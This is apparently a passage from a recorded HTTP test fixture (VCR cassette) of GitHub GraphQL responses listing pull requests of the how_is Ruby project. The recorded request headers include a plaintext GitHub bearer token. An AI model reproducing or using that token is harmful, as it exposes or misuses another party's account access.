PR/issue","url":"https://github.com/how-is/how_is/pull/74","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0xMS0xM1QwMDowODowOS0wNTowMM4FkiBu","node":{"number":79,"createdAt":"2016-11-13T05:08:09Z","closedAt":"2016-11-13T05:08:45Z","updatedAt":"2016-11-13T05:08:49Z","state":"MERGED","title":"Extract BaseReport into its own file.","url":"https://github.com/how-is/how_is/pull/79","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0xMS0xM1QwMDoxNTo0Ny0wNTowMM4FkiEd","node":{"number":80,"createdAt":"2016-11-13T05:15:47Z","closedAt":"2016-11-13T05:16:30Z","updatedAt":"2016-11-13T05:16:33Z","state":"MERGED","title":"Define unimplemented methods; make github_pulse_summary private.","url":"https://github.com/how-is/how_is/pull/80","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0xMS0yM1QyMjowMDo0Ny0wNTowMM4Fq0UV","node":{"number":81,"createdAt":"2016-11-24T03:00:47Z","closedAt":"2016-11-24T03:02:03Z","updatedAt":"2016-11-24T03:02:07Z","state":"MERGED","title":"Update readme","url":"https://github.com/how-is/how_is/pull/81","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0xMS0yNVQwODo0ODoxNS0wNTowMM4FrkTA","node":{"number":82,"createdAt":"2016-11-25T13:48:15Z","closedAt":"2016-11-25T13:49:12Z","updatedAt":"2016-11-25T13:49:19Z","state":"MERGED","title":"Improve generated HTML, for easier debugging.","url":"https://github.com/how-is/how_is/pull/82","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0xMS0yNVQwOToyMzo0My0wNTowMM4FrlZp","node":{"number":83,"createdAt":"2016-11-25T14:23:43Z","closedAt":"2016-11-25T14:27:59Z","updatedAt":"2016-11-25T14:28:05Z","state":"MERGED","title":"Convert issue/PR info to a list.","url":"https://github.com/how-is/how_is/pull/83","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0xMS0yNVQxMDo1MDozMC0wNTowMM4FroOa","node":{"number":85,"createdAt":"2016-11-25T15:50:30Z","closedAt":"2016-11-25T15:51:19Z","updatedAt":"2016-11-25T15:51:22Z","state":"MERGED","title":"Newest pr issue attempt 2","url":"https://github.com/how-is/how_is/pull/85","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0xMS0yNlQwNzozNDoxNy0wNTowMM4FrzzS","node":{"number":86,"createdAt":"2016-11-26T12:34:17Z","closedAt":"2016-11-26T12:46:59Z","updatedAt":"2016-11-26T12:47:02Z","state":"MERGED","title":"Rake tasks","url":"https://github.com/how-is/how_is/pull/86","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0xMS0yNlQyMjozNDoyOS0wNTowMM4Fr40F","node":{"number":88,"createdAt":"2016-11-27T03:34:29Z","closedAt":"2016-11-27T03:35:40Z","updatedAt":"2016-11-27T03:35:44Z","state":"MERGED","title":"Refactoring Report + *Report.","url":"https://github.com/how-is/how_is/pull/88","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0xMS0yNlQyMzoxMTowMS0wNTowMM4Fr493","node":{"number":89,"createdAt":"2016-11-27T04:11:01Z","closedAt":"2016-12-11T06:17:14Z","updatedAt":"2016-12-11T06:17:22Z","state":"MERGED","title":"Changelog v12.0","url":"https://github.com/how-is/how_is/pull/89","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0xMS0yNlQyMzoxMjo1Ni0wNTowMM4Fr4-T","node":{"number":90,"createdAt":"2016-11-27T04:12:56Z","closedAt":"2017-04-30T06:37:16Z","updatedAt":"2017-09-17T04:37:08Z","state":"CLOSED","title":"[WIP] Group issue labels by category type","url":"https://github.com/how-is/how_is/pull/90","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0xMi0xMFQyMDoyOToxNS0wNTowMM4FzuNr","node":{"number":92,"createdAt":"2016-12-11T01:29:15Z","closedAt":"2016-12-11T01:30:30Z","updatedAt":"2016-12-11T01:30:34Z","state":"MERGED","title":"Fix divide by zero when no issues","url":"https://github.com/how-is/how_is/pull/92","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0xMi0xMVQwMDo1ODoxMC0wNTowMM4FzvZz","node":{"number":94,"createdAt":"2016-12-11T05:58:10Z","closedAt":"2016-12-11T06:02:54Z","updatedAt":"2016-12-11T06:02:58Z","state":"MERGED","title":"Rake tasks","url":"https://github.com/how-is/how_is/pull/94","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0xMi0xMVQwMTowNzozNS0wNTowMM4FzvcC","node":{"number":96,"createdAt":"2016-12-11T06:07:35Z","closedAt":"2016-12-11T06:08:21Z","updatedAt":"2016-12-11T06:08:25Z","state":"MERGED","title":"rake generate => rake generate_reports.","url":"https://github.com/how-is/how_is/pull/96","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0xMi0xMVQwMToyODoxOS0wNTowMM4Fzvhc","node":{"number":97,"createdAt":"2016-12-11T06:28:19Z","closedAt":"2016-12-11T06:40:48Z","updatedAt":"2016-12-11T06:40:51Z","state":"MERGED","title":"version bump to 12.0.0","url":"https://github.com/how-is/how_is/pull/97","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0xMi0xMlQxNzoyOToxNC0wNTowMM4F0fvt","node":{"number":98,"createdAt":"2016-12-12T22:29:14Z","closedAt":"2016-12-25T03:36:25Z","updatedAt":"2016-12-25T07:02:38Z","state":"MERGED","title":"CLI warning on single-word repository argument","url":"https://github.com/how-is/how_is/pull/98","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0xMi0yNVQwMDoyNTowOC0wNTowMM4F63Eg","node":{"number":103,"createdAt":"2016-12-25T05:25:08Z","closedAt":"2016-12-25T05:25:46Z","updatedAt":"2016-12-25T05:25:50Z","state":"MERGED","title":"Add ISSUES.md.","url":"https://github.com/how-is/how_is/pull/103","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0xMi0yNVQwMDozMDozNC0wNTowMM4F63FW","node":{"number":104,"createdAt":"2016-12-25T05:30:34Z","closedAt":"2016-12-25T05:31:09Z","updatedAt":"2016-12-25T05:31:14Z","state":"MERGED","title":"Add link for ungrouped issues.","url":"https://github.com/how-is/how_is/pull/104","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNy0wMS0wOFQwMzoyNToxMS0wNTowMM4F_vnA","node":{"number":107,"createdAt":"2017-01-08T08:25:11Z","closedAt":"2017-01-08T08:27:11Z","updatedAt":"2017-01-08T08:27:15Z","state":"MERGED","title":"Have CHANGELOG link to code snapshots.","url":"https://github.com/how-is/how_is/pull/107","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNy0wMS0yMVQwOTo0NDoxNi0wNTowMM4GHVGQ","node":{"number":108,"createdAt":"2017-01-21T14:44:16Z","closedAt":"2017-01-21T14:45:09Z","updatedAt":"2017-01-21T16:07:22Z","state":"MERGED","title":"Specifications","url":"https://github.com/how-is/how_is/pull/108","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNy0wMS0yMVQxMTowODoyMy0wNTowMM4GHVrz","node":{"number":109,"createdAt":"2017-01-21T16:08:23Z","closedAt":"2017-01-21T16:09:23Z","updatedAt":"2017-01-21T16:09:34Z","state":"MERGED","title":"[design.md] add ''information about how_is'' section.","url":"https://github.com/how-is/how_is/pull/109","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNy0wMS0yMlQwMjoxOToxOS0wNTowMM4GHbgg","node":{"number":112,"createdAt":"2017-01-22T07:19:19Z","closedAt":"2017-01-22T07:20:40Z","updatedAt":"2017-01-22T07:20:45Z","state":"MERGED","title":"remove pdfs and relax rack version","url":"https://github.com/how-is/how_is/pull/112","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNy0wMS0yMlQwNTowMDowOC0wNTowMM4GHcil","node":{"number":113,"createdAt":"2017-01-22T10:00:08Z","closedAt":"2017-01-22T10:02:09Z","updatedAt":"2017-01-22T10:02:12Z","state":"MERGED","title":"Update README.md","url":"https://github.com/how-is/how_is/pull/113","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNy0wMi0wOVQxMTozMDoxMS0wNTowMM4GST0_","node":{"number":117,"createdAt":"2017-02-09T16:30:11Z","closedAt":"2017-02-09T16:36:23Z","updatedAt":"2017-02-09T16:38:57Z","state":"MERGED","title":"API redesign","url":"https://github.com/how-is/how_is/pull/117","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNy0wMi0wOVQxMTo1Mzo1OC0wNTowMM4GSVCq","node":{"number":119,"createdAt":"2017-02-09T16:53:58Z","closedAt":"2017-02-09T18:07:48Z","updatedAt":"2017-02-09T18:07:48Z","state":"MERGED","title":"CHANGELOG typo","url":"https://github.com/how-is/how_is/pull/119","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNy0wMi0wOVQxMTo1Nzo0MS0wNTowMM4GSVPF","node":{"number":120,"createdAt":"2017-02-09T16:57:41Z","closedAt":"2017-02-09T16:58:59Z","updatedAt":"2017-02-09T16:59:03Z","state":"MERGED","title":"Update README.md about API redesign.","url":"https://github.com/how-is/how_is/pull/120","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNy0wMi0wOVQxMzoyMTozNC0wNTowMM4GSZIE","node":{"number":123,"createdAt":"2017-02-09T18:21:34Z","closedAt":"2017-02-09T18:23:51Z","updatedAt":"2017-02-09T18:23:55Z","state":"MERGED","title":"Remove dead code.","url":"https://github.com/how-is/how_is/pull/123","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNy0wMi0wOVQxNDowNDozMC0wNTowMM4GSa9L","node":{"number":125,"createdAt":"2017-02-09T19:04:30Z","closedAt":"2017-02-09T19:06:53Z","updatedAt":"2017-02-09T19:07:02Z","state":"MERGED","title":"Include Pulse data in JSON reports.","url":"https://github.com/how-is/how_is/pull/125","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNy0wMi0wOVQxNDo0NjozNi0wNTowMM4GScwW","node":{"number":126,"createdAt":"2017-02-09T19:46:36Z","closedAt":"2017-02-09T19:48:34Z","updatedAt":"2017-02-09T19:48:37Z","state":"MERGED","title":"Implement HowIs.from_json().","url":"https://github.com/how-is/how_is/pull/126","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNy0wMi0wOVQxNTowNzoxMy0wNTowMM4GSdqy","node":{"number":127,"createdAt":"2017-02-09T20:07:13Z","closedAt":"2017-02-09T20:10:55Z","updatedAt":"2017-02-09T20:11:28Z","state":"MERGED","title":"Make from_json() parse dates.","url":"https://github.com/how-is/how_is/pull/127","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNy0wMi0wOVQxNToyMjoxMC0wNTowMM4GSeSD","node":{"number":128,"createdAt":"2017-02-09T20:22:10Z","closedAt":"2017-02-09T20:35:21Z","updatedAt":"2017-02-09T20:35:25Z","state":"MERGED","title":"Make from_json parse ALL dates, not just some of them.","url":"https://github.com/how-is/how_is/pull/128","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNy0wMi0xMlQxNTozNTo1OS0wNTowMM4GTnZc","node":{"number":129,"createdAt":"2017-02-12T20:35:59Z","closedAt":"2017-02-12T21:31:54Z","updatedAt":"2017-02-12T21:31:54Z","state":"MERGED","title":"Gemspec: Description grammar","url":"https://github.com/how-is/how_is/pull/129","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNy0wMi0xMlQxNjozNjozNC0wNTowMM4GTn91","node":{"number":130,"createdAt":"2017-02-12T21:36:34Z","closedAt":"2017-02-12T21:38:19Z","updatedAt":"2017-02-12T21:38:50Z","state":"MERGED","title":"Fix URL in gemspec.","url":"https://github.com/how-is/how_is/pull/130","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNy0wMi0xMlQxNjo0MjozNC0wNTowMM4GToBL","node":{"number":131,"createdAt":"2017-02-12T21:42:34Z","closedAt":"2017-02-12T22:37:56Z","updatedAt":"2017-02-12T22:38:00Z","state":"MERGED","title":"Remove shebang line from lib/ file.","url":"https://github.com/how-is/how_is/pull/131","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNy0wMi0xMlQxNzo0OTo1NS0wNTowMM4GTopI","node":{"number":132,"createdAt":"2017-02-12T22:49:55Z","closedAt":"2017-02-12T23:20:47Z","updatedAt":"2017-02-12T23:20:50Z","state":"MERGED","title":"Documentation!","url":"https://github.com/how-is/how_is/pull/132","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNy0wMi0xNFQxODoxMjoxMC0wNTowMM4GVKyi","node":{"number":139,"createdAt":"2017-02-14T23:12:10Z","closedAt":"2017-02-14T23:22:24Z","updatedAt":"2017-02-14T23:22:28Z","state":"MERGED","title":"Unpin Rack version.","url":"https://github.com/how-is/how_is/pull/139","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNy0wMi0xNFQyMDozODo1MS0wNTowMM4GVOr2","node":{"number":141,"createdAt":"2017-02-15T01:38:51Z","closedAt":"2017-02-15T02:02:25Z","updatedAt":"2017-02-15T02:02:33Z","state":"MERGED","title":"Fix --from.","url":"https://github.com/how-is/how_is/pull/141","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNy0wMi0xNFQyMToxODowNy0wNTowMM4GVPeo","node":{"number":143,"createdAt":"2017-02-15T02:18:07Z","closedAt":"2017-02-15T02:20:00Z","updatedAt":"2017-02-15T02:20:03Z","state":"MERGED","title":"Move documentation from design/ to README.","url":"https://github.com/how-is/how_is/pull/143","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNy0wMi0yNFQxNToxMzo0Ni0wNTowMM4Gbm80","node":{"number":144,"createdAt":"2017-02-24T20:13:46Z","closedAt":"2017-02-24T20:16:00Z","updatedAt":"2017-05-25T21:20:05Z","state":"MERGED","title":"Add HowIs.from_hash method","url":"https://github.com/how-is/how_is/pull/144","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNy0wMy0wNFQxNzoxNToyNy0wNTowMM4GgR7P","node":{"number":146,"createdAt":"2017-03-04T22:15:27Z","closedAt":"2017-03-05T05:51:04Z","updatedAt":"2017-03-05T05:51:08Z","state":"MERGED","title":"v18.0.0 release","url":"https://github.com/how-is/how_is/pull/146","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNy0wMy0wNVQwMzoxMjo1Ny0wNTowMM4GgVgu","node":{"number":147,"createdAt":"2017-03-05T08:12:57Z","closedAt":"2017-03-05T08:23:20Z","updatedAt":"2017-03-05T08:23:27Z","state":"MERGED","title":"v18.0.1 - fix --config flag","url":"https://github.com/how-is/how_is/pull/147","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNy0wMy0wNVQwMzo1ODo0OC0wNTowMM4GgVxU","node":{"number":148,"createdAt":"2017-03-05T08:58:48Z","closedAt":"2017-03-05T09:11:52Z","updatedAt":"2017-03-05T09:11:57Z","state":"MERGED","title":"v18.0.2 - Remove unnecessary .send() call in exe/how_is.","url":"https://github.com/how-is/how_is/pull/148","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNy0wMy0xMVQxNDozNTozMS0wNTowMM4GkpsQ","node":{"number":150,"createdAt":"2017-03-11T19:35:31Z","closedAt":"2017-04-02T20:58:03Z","updatedAt":"2017-04-03T04:51:07Z","state":"MERGED","title":"exe/how_is: Reinstate to_json, to_html","url":"https://github.com/how-is/how_is/pull/150","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNy0wNC0zMFQwNDozNToxNi0wNDowMM4HDTFJ","node":{"number":157,"createdAt":"2017-04-30T08:35:16Z","closedAt":"2017-05-15T06:59:46Z","updatedAt":"2017-05-25T23:17:06Z","state":"MERGED","title":"CLI parser refactor","url":"https://github.com/how-is/how_is/pull/157","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNy0wNS0xNVQwOToyNDozNy0wNDowMM4HMDgy","node":{"number":158,"createdAt":"2017-05-15T13:24:37Z","closedAt":"2017-05-15T13:32:14Z","updatedAt":"2017-05-15T13:32:19Z","state":"MERGED","title":"Add RuboCop config","url":"https://github.com/how-is/how_is/pull/158","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNy0wNS0yNVQxODo1Mjo0OC0wNDowMM4HTdlY","node":{"number":159,"createdAt":"2017-05-25T22:52:48Z","closedAt":"2017-05-25T22:57:31Z","updatedAt":"2017-05-25T22:57:35Z","state":"MERGED","title":"v18.0.3 -- CHANGELOG and version bump.","url":"https://github.com/how-is/how_is/pull/159","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNy0wNS0yNlQwMDo0ODozOC0wNDowMM4HTkzo","node":{"number":160,"createdAt":"2017-05-26T04:48:38Z","closedAt":"2017-05-26T04:51:58Z","updatedAt":"2017-05-26T04:52:01Z","state":"MERGED","title":"move rubocop dep to gemspec","url":"https://github.com/how-is/how_is/pull/160","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNy0wNS0yNlQwNDowNDo0Ny0wNDowMM4HTprQ","node":{"number":161,"createdAt":"2017-05-26T08:04:47Z","closedAt":"2017-05-26T10:20:47Z","updatedAt":"2017-05-26T10:24:26Z","state":"MERGED","title":"README: Drop from_config_file reference","url":"https://github.com/how-is/how_is/pull/161","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNy0wNS0yNlQwNjoyMjoyOC0wNDowMM4HTvD-","node":{"number":162,"createdAt":"2017-05-26T10:22:28Z","closedAt":"2017-05-26T10:25:13Z","updatedAt":"2017-05-26T10:25:16Z","state":"MERGED","title":"Fix (a significant number of) RuboCop violations.","url":"https://github.com/how-is/how_is/pull/162","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNy0wNy0xMVQxODozMzo1Ni0wNDowMM4Hv_Of","node":{"number":165,"createdAt":"2017-07-11T22:33:56Z","closedAt":"2017-07-13T15:27:55Z","updatedAt":"2017-07-13T16:29:27Z","state":"MERGED","title":"Update github_api, contracts to latest","url":"https://github.com/how-is/how_is/pull/165","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNy0wNy0xMVQxODozNjozOS0wNDowMM4Hv_UA","node":{"number":166,"createdAt":"2017-07-11T22:36:39Z","closedAt":"2017-07-13T15:33:35Z","updatedAt":"2017-07-13T16:29:04Z","state":"MERGED","title":"Gemfile: use Hashie from master branch","url":"https://github.com/how-is/how_is/pull/166","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNy0wNy0xM1QyMTo1MjozOC0wNDowMM4Hx0ol","node":{"number":167,"createdAt":"2017-07-14T01:52:38Z","closedAt":"2017-07-14T11:49:44Z","updatedAt":"2017-07-14T11:49:47Z","state":"MERGED","title":"Rubocop cleanup","url":"https://github.com/how-is/how_is/pull/167","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNy0wNy0xNFQwOTo1MDoxNS0wNDowMM4HyLMT","node":{"number":169,"createdAt":"2017-07-14T13:50:15Z","closedAt":"2017-07-14T16:01:32Z","updatedAt":"2017-07-14T16:01:38Z","state":"MERGED","title":"Pass -w to Ruby when running ''rake spec''.","url":"https://github.com/how-is/how_is/pull/169","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNy0wNy0xNFQxMjowNzoyOS0wNDowMM4HySFY","node":{"number":170,"createdAt":"2017-07-14T16:07:29Z","closedAt":"2017-07-14T16:56:55Z","updatedAt":"2017-07-14T16:57:00Z","state":"MERGED","title":"Use Hashie stable; update Gemfile/add Gemfile.lock","url":"https://github.com/how-is/how_is/pull/170","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNy0wNy0xNFQxNDowNjoxMS0wNDowMM4HyXR1","node":{"number":171,"createdAt":"2017-07-14T18:06:11Z","closedAt":"2017-07-14T18:20:08Z","updatedAt":"2017-07-14T18:20:38Z","state":"MERGED","title":"Release v18 0 4","url":"https://github.com/how-is/how_is/pull/171","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNy0wNy0xNFQxOToyOTozMS0wNDowMM4HyjMv","node":{"number":173,"createdAt":"2017-07-14T23:29:31Z","closedAt":"2017-07-16T15:26:56Z","updatedAt":"2017-07-16T15:27:07Z","state":"MERGED","title":"Rubocop warning removal","url":"https://github.com/how-is/how_is/pull/173","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNy0wNy0xNFQxOTo0Mjo0MC0wNDowMM4Hyjcp","node":{"number":174,"createdAt":"2017-07-14T23:42:40Z","closedAt":"2017-07-16T15:31:10Z","updatedAt":"2017-07-16T15:31:10Z","state":"MERGED","title":"Rubocop 0.49.1","url":"https://github.com/how-is/how_is/pull/174","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNy0wNy0xNlQwNTo1NjowMC0wNDowMM4HywUj","node":{"number":175,"createdAt":"2017-07-16T09:56:00Z","closedAt":"2017-07-16T15:02:09Z","updatedAt":"2017-07-16T15:10:08Z","state":"MERGED","title":"Include name of rules in RuboCop output","url":"https://github.com/how-is/how_is/pull/175","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNy0wNy0xNlQxMTozNzowNS0wNDowMM4Hyyub","node":{"number":176,"createdAt":"2017-07-16T15:37:05Z","closedAt":"2017-07-16T16:18:29Z","updatedAt":"2017-07-16T16:18:50Z","state":"CLOSED","title":"Update CHANGELOG.","url":"https://github.com/how-is/how_is/pull/176","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNy0wNy0xNlQxMjoyMToyMi0wNDowMM4HyzEo","node":{"number":177,"createdAt":"2017-07-16T16:21:22Z","closedAt":"2017-07-16T16:23:57Z","updatedAt":"2017-07-16T16:24:04Z","state":"MERGED","title":"Use github_changelog_generator for generating the changelog.","url":"https://github.com/how-is/how_is/pull/177","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNy0wNy0xNlQxMjoyMzoyNC0wNDowMM4HyzF7","node":{"number":178,"createdAt":"2017-07-16T16:23:24Z","closedAt":"2017-07-16T19:40:05Z","updatedAt":"2017-07-16T19:44:31Z","state":"MERGED","title":"RuboCop linting","url":"https://github.com/how-is/how_is/pull/178","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNy0wNy0xNlQxNDozMDowMC0wNDowMM4Hy0EB","node":{"number":179,"createdAt":"2017-07-16T18:30:00Z","closedAt":"2017-07-16T19:43:15Z","updatedAt":"2017-07-16T19:44:43Z","state":"MERGED","title":"Add config file for github_changelog_generator","url":"https://github.com/how-is/how_is/pull/179","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNy0wNy0xOVQxNDo0MDoyNy0wNDowMM4H1N9U","node":{"number":180,"createdAt":"2017-07-19T18:40:27Z","closedAt":"2017-07-24T19:49:56Z","updatedAt":"2017-07-24T19:50:00Z","state":"CLOSED","title":"Extract development dependencies to the Gemfile","url":"https://github.com/how-is/how_is/pull/180","labels":{"nodes":[]}}}]}}}}' http_version: recorded_at: Fri, 26 Apr 2019 20:32:52 GMT - request: method: post uri: https://api.github.com/graphql body: encoding: UTF-8 string: '{"query":"query {\n repository(owner: \"how-is\", name: \"how_is\") {\n pullRequests(first: 100, after: \"Y3Vyc29yOnYyOpK5MjAxNy0wNy0xOVQxNDo0MDoyNy0wNDowMM4H1N9U\", orderBy:{field: CREATED_AT, direction: ASC}) {\n edges {\n cursor\n node {\n number\n createdAt\n closedAt\n updatedAt\n state\n title\n url\n labels(first: 100) {\n nodes {\n name\n }\n }\n }\n }\n }\n }\n}"}' headers: Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 Accept: - application/vnd.github.v4.idl User-Agent: - Ruby Host: - api.github.com Authorization: - bearer 9182777ff3c006795193a570cdac326b64459dc9 Bearer-Token: - 9182777ff3c006795193a570cdac326b64459dc9 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Fri, 26 Apr 2019 20:32:52 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK Cache-Control: - no-cache X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - repo X-Github-Media-Type: - github.v4; param=idl X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4662' X-Ratelimit-Reset: - '1556311578' Access-Control-Expose-Headers: - ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type Access-Control-Allow-Origin: - "*" Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Frame-Options: - deny X-Content-Type-Options: - nosniff X-Xss-Protection: - 1; mode=block Referrer-Policy: - origin-when-cross-origin, strict-origin-when-cross-origin Content-Security-Policy: - default-src 'none' X-Github-Request-Id: - F5AB:5447:28F35B:519032:5CC36AF4 body: encoding: ASCII-8BIT string: '{"data":{"repository":{"pullRequests":{"edges":[{"cursor":"Y3Vyc29yOnYyOpK5MjAxNy0wNy0yNFQxNTo0Nzo1NS0wNDowMM4H4CR4","node":{"number":182,"createdAt":"2017-07-24T19:47:55Z","closedAt":"2017-07-24T20:15:24Z","updatedAt":"2017-07-24T20:15:44Z","state":"MERGED","title":"Gemfile: add pry as Git dep","url":"https://github.com/how-is/how_is/pull/182","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNy0wNy0yNFQxNjoyNTo0MC0wNDowMM4H4ECu","node":{"number":183,"createdAt":"2017-07-24T20:25:40Z","closedAt":"2017-07-24T20:29:10Z","updatedAt":"2017-07-24T20:29:14Z","state":"MERGED","title":"Remove Gemfile.lock.","url":"https://github.com/how-is/how_is/pull/183","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNy0wNy0yNFQxNzozNjoyMi0wNDowMM4H4HW9","node":{"number":184,"createdAt":"2017-07-24T21:36:22Z","closedAt":"2017-08-05T21:22:47Z","updatedAt":"2017-08-05T21:22:54Z","state":"MERGED","title":"List new contributors during period","url":"https://github.com/how-is/how_is/pull/184","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNy0wOC0wNlQwMzo0NjoyMS0wNDowMM4IAYay","node":{"number":186,"createdAt":"2017-08-06T07:46:21Z","closedAt":"2017-08-06T08:40:38Z","updatedAt":"2017-08-06T08:40:42Z","state":"MERGED","title":"re-add Gemfile.lock to .gitignore","url":"https://github.com/how-is/how_is/pull/186","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNy0wOC0wNlQwODoxMDo1NC0wNDowMM4IAaAK","node":{"number":187,"createdAt":"2017-08-06T12:10:54Z","closedAt":"2017-08-06T14:45:31Z","updatedAt":"2017-08-08T23:55:20Z","state":"MERGED","title":"Replace Pulse scraping with API calls","url":"https://github.com/how-is/how_is/pull/187","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNy0wOC0wNlQwODoxMTo1MS0wNDowMM4IAaA0","node":{"number":188,"createdAt":"2017-08-06T12:11:51Z","closedAt":"2017-08-06T12:25:29Z","updatedAt":"2017-08-06T12:25:34Z","state":"MERGED","title":"version bump -- v18.0.5","url":"https://github.com/how-is/how_is/pull/188","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNy0wOC0wNlQxMDo1MjoyNS0wNDowMM4IAbLx","node":{"number":190,"createdAt":"2017-08-06T14:52:25Z","closedAt":"2017-08-06T14:55:31Z","updatedAt":"2017-08-06T14:55:47Z","state":"MERGED","title":"bump version -- 18.1.0","url":"https://github.com/how-is/how_is/pull/190","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNy0wOC0wNlQxNDoyMjozNS0wNDowMM4IAcve","node":{"number":191,"createdAt":"2017-08-06T18:22:35Z","closedAt":"2017-08-07T04:57:28Z","updatedAt":"2017-08-07T07:23:30Z","state":"MERGED","title":"Contributions: YARD docblock type typo; typos","url":"https://github.com/how-is/how_is/pull/191","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNy0wOC0wNlQxNDozMjowNi0wNDowMM4IAc0K","node":{"number":192,"createdAt":"2017-08-06T18:32:06Z","closedAt":"2017-08-09T07:51:43Z","updatedAt":"2017-08-09T07:59:06Z","state":"MERGED","title":"Builds: a Travis CI API 